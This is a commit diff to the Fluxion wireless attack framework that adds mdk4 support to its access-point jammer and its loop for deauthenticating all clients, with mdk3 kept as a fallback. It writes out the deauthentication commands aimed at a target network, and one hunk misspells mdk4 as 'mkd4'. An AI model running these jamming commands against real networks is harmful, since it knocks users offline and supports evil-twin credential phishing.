Enhancement add mdk4 support
This commit is contained in:
parent
7de2000334
commit
61228f5548
|
@ -1465,9 +1465,12 @@ start_attack() {
|
|||
|
||||
echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice"
|
||||
echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk3_blacklist.lst"
|
||||
|
||||
if hash mdk4;then readonly DEAUTH="mdk4";else DEAUTH="mdk3";fi
|
||||
|
||||
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
|
||||
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
|
||||
"mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
|
||||
"$DEAUTH $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
|
||||
# Save parent's pid, to get to child later.
|
||||
CaptivePortalJammerServiceXtermPID=$!
|
||||
|
||||
|
|
|
@ -183,9 +183,10 @@ handshake_snooper_start_deauthenticator() {
|
|||
HandshakeSnooperDeauthenticatorPID=$!
|
||||
;;
|
||||
"$HandshakeSnooperMdk3MethodOption")
|
||||
if hash mdk4; then DEAUTH="mkd4"; else DEAUTH="mdk3";fi
|
||||
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
|
||||
-title "Deauthenticating all clients on $FluxionTargetSSID" -e \
|
||||
"while true; do sleep 7; timeout 3 mdk3 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" &
|
||||
"while true; do sleep 7; timeout 3 $DEAUTH $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" &
|
||||
HandshakeSnooperDeauthenticatorPID=$!
|
||||
;;
|
||||
esac
|
||||
|
|
|
@ -273,7 +273,7 @@ fluxion_startup() {
|
|||
local requiredCLITools=(
|
||||
"aircrack-ng" "python2:python2.7|python2" "bc" "awk:awk|gawk|mawk"
|
||||
"curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd"
|
||||
"iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl"
|
||||
"iwconfig:wireless-tools" "macchanger" "mdk3|mdk4" "nmap" "openssl"
|
||||
"php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools"
|
||||
"fuser:psmisc" "killall:psmisc"
|
||||
)
|
||||
|
|
Loading…
Reference in New Issue